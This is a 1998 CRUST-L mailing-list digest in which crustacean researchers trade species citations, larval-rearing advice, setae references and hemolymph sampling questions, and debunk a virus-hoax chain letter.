SARS, G. O. 1889. Bidrag til kundskaben on Decapodernes Forvandlinger. II. Lithodes, Eupagurus, Spiropagurus, Galathodes, Galathea, Munida, Porcellana, Nephrops. Arch. Math. Naturv., 13, 133-201, 7 pl. SARS, G. O. 1890. Bidrag til kundskaben om Decapodernes Forvandlinger. III. Fam. Crangonidae. Arch. Math. Naturv., 14, 132-195. SARS, G. O. 1912. Account of the post-embryonal development of Hippolyte varians LEACH. Arch. Math. Nat., 32, 5 or 7, 1-25. HUUS, J. 1935. Bergens Mus. Arb., 1934, 8, 1-29, 4 pls. Thank you in advance. Yours sincerely, Antonina. =================== Antonina dos Santos Inst. de Inv. das Pescas e do Mar (IPIMAR) Av. de Brasilia 1400 Lisboa Portugal Tel. +351 1 3010814 Fax: +351 1 3015849 E-mail: antonina@ipimar.pt ========================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Shrimpnews Date: Tue, 17 Mar 1998 08:33:14 EST Subject: CRUST-L: Fwd: For Shrimp Farmers Only = Free Listing Hi, I'm Bob Rosenberry, editor/publisher at Shrimp News International. I've just started working on "The 1998 Directory of the Shrimp Industry in the Western Hemisphere", which will be published in June 1998. If you would like a free listing in the directory, please forward the following information: First Name Last Name Title Company/Institution Address Phone Fax Email Three Words That Show Your Association to the Shrimp Industry. Any three words will work. Choose words that describe your specialities, products and services. I use "Publications/Shrimp/Farming". Other examples: "Researcher/Broodstock/Maturation", "Importer/Processor/Distributor", "Equipment/Aeration/Pumps", "Hatchery/Seedstock/Latin America" and "Farmer/Growout/Export". Sincerely, Bob Rosenberry, Editor/Publisher Shrimp News International 9450 Mira Mesa Boulevard, Suite B-562 San Diego, California 92126 USA Phone 619-271-6354 Fax 619-271-0324 Web Page http://members.aol.com/brosenberr/Home.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Andreas Maas Date: Wed, 18 Mar 1998 08:51:34 +0100 Subject: CRUST-L: Scholtz' paper Hi Crustlers, Since I have got a question to a German paper, I think I may ask in German. Wer kann mir die genaue Zitation des folgenden Artikels geben: SCHOLTZ, G. 1995. Ursprung und Evolution der Flu=DFkrebse. Sitzungsberichte der Gesellschaft Naturforschender Freunde zu Berlin ... Mir fehlen der Band und die Seitenzahlen. Vielen Dank im voraus Andreas Andreas Maas Sektion fuer Biosystematische Dokumentation Universitaet Ulm Liststrasse 3, D-89079 Ulm Tel. xx49-(0)731-4014-163, Fax 159 email: andreas.maas@biologie.uni-ulm.de =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Amir Sagi Date: Wed, 18 Mar 1998 16:05:58 +0200 () Subject: CRUST-L: Procambarus paenisulanus (author) Dear Crust-lrs Does anybody knows the author for this crayfish? Procambarus paenisulanus (author?) Yours Amir ***************************************************** Dr. Amir Sagi Office: 972 7 6461364 Department of Life Sciences Lab: 972 7 6472668 Ben-Gurion University Fax: 972 7 6472890 P.O.Box 653 Beer Sheva 84105 Israel http://www.bgu.ac.il/life/sagi.html ***************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Erich Eder" Date: Wed, 18 Mar 1998 14:39:54 MET-1MEST Subject: Re: CRUST-L: Scholtz' paper > Since I have got a question to a German paper, I think I may ask in German. > Wer kann mir die genaue Zitation des folgenden Artikels geben: > SCHOLTZ, G. 1995. Ursprung und Evolution der Flusskrebse. Sitzungsberichte > der Gesellschaft Naturforschender Freunde zu Berlin ... > Mir fehlen der Band und die Seitenzahlen. It is: Ursprung und Evolution der Flusskrebse (Crustacea, Astacida), Sitzungsberichte der Gesellschaft Naturforschender Freunde zu Berlin (N.F.) Band 34, 23.11.1995, 93-115. [english abstract: origin and evolution of freshwater crayfishes] Hope I could help you. For further information you can contact Dr.Richter, a collaborator of Prof.Scholtz. E-mail: st=richter@biologie.hu-berlin.de Best regards, EE - -- Erich Eder Institute for Zoology, Univ. Wien, Althanstr.14, A-1090 Vienna AUSTRIA http://urzeitkrebse.home.ml.org (Deutsch) http://branchiopoda.home.ml.org (English) http://branquiopodos.home.ml.org (Espanol) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Wulf Kobusch" Date: Wed, 18 Mar 1998 17:59:54 +0000 Subject: Re: CRUST-L: Scholtz' paper Dear Andreas, the reference is as follows: SCHOLTZ, G. (1995): Ursprung und Evolution der Flu=DFkrebse (Crustacea, Astacida). Sitzungsberichte der Gesellschaft naturforschender Freunde zu Berlin 34: 93-115. Best regards Wulf *********************************************************** Wulf Kobusch Ruhr Universitaet Bochum Lehrstuhl fuer Spezielle Zoologie Gebaeude ND 05 / 776 Universitaetsstrasse 150 44801 Bochum GERMANY phone: +49/(0)234-700-5577 or -4563 fax: +49/(0)234-7094-114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *********************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: NETO CAMPOS Date: Wed, 18 Mar 1998 09:41:33 -0800 Subject: RE: CRUST-L: Procambarus paenisulanus (author) Dear Amir The author and year are below noted. Procambarus (Scapulicambarus) paeninsulanus (Faxon, 1884). Best wishes. Ernesto. ***************************************** Ernesto Campos Professor of Zoology Profesor de Zoologia Facultad de Ciencias Universidad Autonoma de Baja California Apartado Postal 2300, Ensenada, Baja California 22800 Mexico U.S. ADDRESS 4492 CAMINO DE LA PLAZA (STE.ESE. 1108) SAN YSIDRO, CALIFORNIA 92173-3097 U.S.A. ***************************************** - -----Original Message----- From: Amir Sagi [SMTP:sagia@BGUMAIL.BGU.AC.IL] Sent: Wednesday, March 18, 1998 6:06 AM To: crust-l list Subject: CRUST-L: Procambarus paenisulanus (author) Dear Crust-lrs Does anybody knows the author for this crayfish? Procambarus paenisulanus (author?) Yours Amir ***************************************************** Dr. Amir Sagi Office: 972 7 6461364 Department of Life Sciences Lab: 972 7 6472668 Ben-Gurion University Fax: 972 7 6472890 P.O.Box 653 Beer Sheva 84105 Israel http://www.bgu.ac.il/life/sagi.html ***************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: propal@tin.it Date: Wed, 18 Mar 1998 21:01:36 +0100 Subject: CRUST-L: New catalogue Dear netters, My friends of Naturama have just issued their catalogue n. 8 devoted to shells and marine biology books. This catalogue can be see on-line or downloaded at: http://www.dada.net/naturama/kaka.html Naturama is a non-profit organization that deal as bookseller in order to raise funds for his searchs on marine biology in the Mediterranean and his educational projects. With regards Ciao from Italy Riccardo Giannuzzi-Savelli =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Keith Crandall Date: Wed, 18 Mar 1998 13:38:48 -0700 Subject: Re: CRUST-L: Procambarus paenisulanus (author) >Does anybody knows the author for this crayfish? >Procambarus paenisulanus (author?) Faxon first described this as a subspecies of Procambarus clarkii (then Cambarus clarkii) in 1914 (Memoirs of the Museum of Comparative Zoology at Harvard College, 40(8):351-427.). Hobbs later upgraded it to species (Procambarus paeninsulanus) in 1942 "The Crayfishes of Florida" University of Flordia Publication 3(2) pg. 104. Cheers, Keith ========================= Dr. Keith A. Crandall 574 Widtsoe Building Department of Zoology Brigham Young University Provo, UT 84602-5255 phone: (801) 378-3495 FAX: (801) 378-7423 keith_crandall@byu.edu ========================= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Bartlomiej Stanczyk Date: Wed, 18 Mar 1998 23:01:35 +0100 Subject: CRUST-L: contact Dear all, Could anybody send me Richard Brusca's e-mail? Thanks Bartlomiej Stanczyk stanczyk@kki.net.pl =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Brent Newman zool Date: Thu, 19 Mar 1998 09:59:45 +0000 (SAST) Subject: CRUST-L: Sesarmid larval culture Fellow members I am having some difficulty in rearing several species of sesarmid larvae and I hope you can provide some comments. The problem concerns the moult to the megalopa where almost all individuals are dying as a result of being trapped in the moult. Survival is good up until this moult but out of 200 larvae reared at various temperatures I have only had 2 individuals succesfully pass into the megalops. I have had this problem with S. eulimene and S. meinerti, and a colleague had the same problem with S. catenata. Are sesarmids notoriously difficult to rear? I have noticed that the Z5 seems not to be feeding that well? Could energetics be a problems? Any comments would be most appreciated? Regards Brent PS: The larvae are being reared on Artemia larvae (unknown strain - S catenata were reared on SFB brand however) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Amir Sagi Date: Thu, 19 Mar 1998 12:57:02 +0200 () Subject: RE: CRUST-L: Procambarus paenisulanus (author) Dear Crust-lrs I would like to thank all of you who answerd my queastion regading Procambarus paenisulanus (author?) It prooved again how eficient is our group when one needs help. Thanks and Cheers Amir ***************************************************** Dr. Amir Sagi Office: 972 7 6461364 Department of Life Sciences Lab: 972 7 6472668 Ben-Gurion University Fax: 972 7 6472890 P.O.Box 653 Beer Sheva 84105 Israel http://www.bgu.ac.il/life/sagi.html ***************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Amir Sagi Date: Thu, 19 Mar 1998 13:18:11 +0200 () Subject: RE: CRUST-L: Procambarus paenisulanus (author) (fwd) Dear Crust-lrs I would like to thank all of you who answerd my queastion regading Procambarus paenisulanus (author?) It prooved again how eficient is our group when one needs help. Thanks and Cheers Amir ***************************************************** Dr. Amir Sagi Office: 972 7 6461364 Department of Life Sciences Lab: 972 7 6472668 Ben-Gurion University Fax: 972 7 6472890 P.O.Box 653 Beer Sheva 84105 Israel http://www.bgu.ac.il/life/sagi.html ***************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Joe Staton Date: Thu, 19 Mar 1998 08:08:47 -0500 Subject: Re:CRUST-L: Sesarmid larval culture >Fellow members >I am having some difficulty in rearing several species of sesarmid larvae >and I hope you can provide some comments. The problem concerns the moult >to the megalopa where almost all individuals are dying as a result of >being trapped in the moult. Survival is good up until this moult but out >of 200 larvae reared at various temperatures I have only had 2 >individuals succesfully pass into the megalops. I have had this problem >with S. eulimene and S. meinerti, and a colleague had the same problem >with S. catenata. Are sesarmids notoriously difficult to rear? I have >noticed that the Z5 seems not to be feeding that well? Could energetics >be a problems? >Any comments would be most appreciated? >Regards >Brent >PS: The larvae are being reared on Artemia larvae (unknown strain - S >catenata were reared on SFB brand however) >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Those I have reared are not, but there are tricks to rearing any decapod larva. First, I would try switching artemia brands to a Chinese or Brazilian strain. In the past, Costlow and others reported problems with possible pesticides in low amounts in the SFB brand, but it has been definitely shown that the Chinese and Brazilian strains have higher amounts of PUFAs, which may be lacking in the diet of the sesarmids you are trying to rear. They cannot clear the exuvium because they lack the energy to complete molting. This metamorphosis is potentially the most stressful, as many crabs that I have reared (not THAT many, mind you) fail at this stage. Second, use only the freshest daily hatch for the same PUFA arguments listed above. As the nauplii get older, they are less rich in yolky material and may provide a sub-optimal diet. My fifth of a dime, Joe ___________________________________ Joseph L. Staton, Ph. D. Department of Invertebrate Zoology Museum of Comparative Zoology Harvard University 26 Oxford Street Cambridge, MA 02138 Phone: 617-495-2447 Fax: 617-495-5667 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: aharvey@AMNH.ORG (Alan Harvey) Date: Thu, 19 Mar 1998 10:27:45 -0500 Subject: CRUST-L: setae details Greetings, In my work on porcelain crabs, I've come across a few species with setae whose peculiarities are visible without an SEM. The setae have distinct proximal and distal regions, and a distinct internal core and external sheath; the internal core penetrates the external sheath distally; in one species, the distal half is flattened, and there are paired fine "plumules" radiating from the internal core. The setae are rather stout, and transparent (else, of course, I wouldn't be able to see much of the above!). A reviewer of my MS, in which I discuss these setae, asked if the inner core isn't "just the lumen of the shaft within the seta," and if the "plumules" aren't just "the dendritic canals that extend laterally from the central setal dendrite?" I'm afraid my morphological expertise, such as it is, does not cover the internal morphology of setae! I will say that I don't see any of this internal structure in the thick bristles Does anyone out there have any information about this, including references? By the way, you can take a look at the setae at my web site (address below, click on the "Odd setae" button). Cheers, and thanks in advance! Alan - ------------------------------------ Alan W. Harvey (aharvey@amnh.org) Assistant Curator of Invertebrates American Museum of Natural History Central Park West at 79th Street New York, NY 10024 (212) 769-5638; fax (212) 769-5783 http://research.amnh.org/~aharvey =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: pnoel@CIMRS1.MNHN.FR (Pierre NOEL) Date: Thu, 19 Mar 1998 17:52:41 +0100 Subject: Re: CRUST-L: setae details >Greetings, >In my work on porcelain crabs, I've come across a few species with setae >whose peculiarities are visible without an SEM. The setae have distinct >proximal and distal regions, and a distinct internal core and external >sheath; the internal core penetrates the external sheath distally; in one >species, the distal half is flattened, and there are paired fine "plumules" >radiating from the internal core. The setae are rather stout, and >transparent (else, of course, I wouldn't be able to see much of the >above!). A reviewer of my MS, in which I discuss these setae, asked if the >inner core isn't "just the lumen of the shaft within the seta," and if the >"plumules" aren't just "the dendritic canals that extend laterally from the >central setal dendrite?" I'm afraid my morphological expertise, such as it >is, does not cover the internal morphology of setae! I will say that I >don't see any of this internal structure in the thick bristles Does anyone >out there have any information about this, including references? By the >way, you can take a look at the setae at my web site (address below, click >on the "Odd setae" button). >Cheers, and thanks in advance! >Alan You may want to see these references, from late Professor Pierre Drach (20 Sept.1906 - 6 Jan. 1998). Best regards, Pierre. #58 Drach P., Jacques F., 1976. Systeme setifere des Crustaces Decapodes. Insertion des soies sur l'exosquelette et donnees generales sur leur structure cuticulaire. Comptes rendus de l'Academie des Sciences de Paris, serie D, 282: 1869-1871, 7 fig. #59 Drach P., Jacques F., 1977. Systeme setifere des Crustaces Decapodes. Principes d'une classification generale. Comptes rendus de l'Academie des Sciences de Paris, serie D, 284: 1995-1998, 10 fig. #60 Drach P., Jacques F., 1978a. Systeme setifere des Crustaces Decapodes. Les groupements de soies et leur signification fonctionnelle. Comptes rendus de l'Academie des Sciences de Paris, serie D, 286: 61-64, fig. 1-9. #61 Drach P., Jacques F., 1978b. Systeme setifere des Crustaces Decapodes. Modalites de croissance des groupements de soies. Comptes rendus de l'Academie des Sciences de Paris, serie D, 287: 1337-1340, fig. 1-8. #62 Drach P., Jacques F., 1979. Systeme setifere des Crustaces Decapodes. Le systeme microsetal. Comptes rendus de l'Academie des Sciences de Paris, serie D, 288: 1103-1105, fig. 1-9. #63 Drach P., Jacques F., 1980. Systeme setifere des Crustaces Decapodes. Existence de structures en limbe dans les soies plumeuses. Comptes rendus de l'Academie des Sciences de Paris, serie D, 290: 1435-1438, fig. 1-9. #64 Drach P., Jacques F., 1982a. Dispositifs tegumentaires dorsaux lies aux mouvements de l'abdomen chez les crustaces Decapodes. Bulletin de la Societe zoologique de France, Paris, 107 (1): 127-135, 6 fig. #65 Drach P., Jacques F., Jeuniaux C., Voss-Foucart M. F., Bussers J. C., 1982b. Les expansions cuticulaires bordantes, formation nouvelle des Decapodes Natantia. Donnees morphologiques et biochimiques chez Palaemon serratus (Pennant, 1877). Bulletin de la Societe zoologique de France, Paris, 107 (2): 437-447, fig. 1, pl. I-II. Probably ... more information and reprint requests may be done now to : Dr. (Mrs) Francoise Jacques, Laboratoire Arago, CNRS & Universite Pierre et Marie Curie, F-66650 Banyuls-sur-mer, France Tel. +33 04 68 88 73 27; fax +33 04 68 88 16 99; telex ARAGOBA 505020F; e-mail fjacques@arago.obs-banyuls.fr Pierre Y. NOEL, Biologie des Invertebres marins, CNRS URA no699, Museum national d'Histoire naturelle, 55 rue Buffon, F-75005 Paris, France. e mail pnoel@mnhn.fr Tel +33 1 4079 3098 - Fax +33 1 4079 3089 Visitez le serveur du Museum/Visit our Webserver (http://www.mnhn.fr) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #126 ***************************** crust-l-digest Sunday, 22 March 1998 Volume 01 : Number 127 CRUST-L: ATTENTION !!!! CRUST-L: Species searches Re: CRUST-L: ATTENTION !!!! CRUST-L: methods for obteining hemolymph CRUST-L: again crustacean hemolymph anticogulant Re: CRUST-L: ATTENTION !!!! Re: CRUST-L: methods for obteining hemolymph CRUST-L: woodlice invasions Re: CRUST-L: methods for obteining hemolymph Re: CRUST-L: woodlice invasions CRUST-L: other question about woodlice invasion Re: CRUST-L: methods for obteining hemolymph CRUST-L: setae details CRUST-L: hemolymph sampling methods CRUST-L: Katrin Christensen email address CRUST-L: Mysis vs Mysid ---------------------------------------------------------------------- ------------------------------ From: James Hensinger Date: Thu, 19 Mar 1998 15:33:35 -0500 Subject: CRUST-L: Species searches Hello, We would like to introduce you to our database and service if you have no= t already visited us on the Internet. We are a searchable, worldwide database of aquatic species and producers of food fish and aquarists species which is accessible through the Internet, located at http://www.aquafind.com/. Listing aquatic producers in the database is free and presents the opportunity of gaining more exposure to the Aquaculture community. Searching the database is also free enabling anyo= ne searching for a specific species or producer to have a better chance of consummating their search successfully. This database enables anyone involved in the aquaculture industry to make contacts without having to search the whole web hoping to find someone involved with the species the= y are concerned with. We are constantly contacting producers and associated agencies to encoura= ge them to visit our site and register their company and it's products. Individual producers, research facilities, corporations, and any other persons or groups associated with aquatic species are all welcome to register as the additional potential for exposure can only be an added advantage for them. Our site is supported by advertising and their are n= o fees involved nor is the data contained therein used for solicitation purposes. If the species is aquatic we will list it and if it is not yet in our database we will add it. If their is something you can not find, = we will help with your search. After monitoring the requests in various aquatic news groups for information, we recognize that this would be an ideal medium for researchers to use as a network to make contacts. This site is also an ideal area for retailers to search to find suppliers for their needs. Ma= ny buyers have already found the site to be useful in finding sources for their companies needs. Rather than continuing to relate the possibilities our site presents for you, we just ask that you take a moment to consider it=92s value to you o= r your company and register. We welcome any questions or comments you may have and look forward to your participation. Sincerely, James Hensinger Ascot International http://www.aquafind.com =20 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 19 Mar 1998 15:57:51 -0500 (EST) Subject: Re: CRUST-L: ATTENTION !!!! > ********VIRUS ALERT********** All of these viruses are hoaxes... For more information about virus hoaxes, see http://www.kumite.com/myths Cheers, Jeff =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Silvia Ramirez Luna Date: Thu, 19 Mar 1998 12:46:32 +0600 Subject: CRUST-L: methods for obteining hemolymph Dear crusters: I`m looking for some accesible metodologies to obtain crustacean hemolymph. The main porpouse is to introduce physiology students in some techniques to study marine organisms. The amount of hemolymph ranges from 0.5 - 2.5 microliters in order to study osmolality variations. Could someone helpme?? Thanks in advance Sincerely Biol. Mar. Silvia Ram=EDrez Luna Professor and reasercher in Marine Biology Bachelor Universidad del Mar,=20 Puerto Angel, Oaxaca.=20 Mexico Tel. y Fax: (958) 430-49 y 430-78 e-mail: viarezna@angel.umar.mx =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Zhao Jianhong Date: Fri, 20 Mar 1998 12:23:26 +0800 (SST) Subject: CRUST-L: again crustacean hemolymph anticogulant Hi, All, Does anybody know whether heparin is an appropriate anticogulant for crab hemolymph which is for measurements of some enzyme acitivities and metabolite levels? cheerio! J.H. Zhao School of Biological Sciences NAtional University of Singapore Lower Kent Ridge Road Singapore 119260 email: scip5001@leonis.nus.edu.sg =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Michael Gates" Date: Thu, 19 Mar 1998 21:01:43 -0500 Subject: Re: CRUST-L: ATTENTION !!!! As someone who will be teaching a class on America Online next week about hoaxes, legends and myths, I must agree with the message below and state that the virus is not meant to harm your computer, but to make you look silly when you pass on useless information. It's a word virus (lie) and not an actual computer program. Sorry. Michael Allen Gates P.S. Did you hear about the 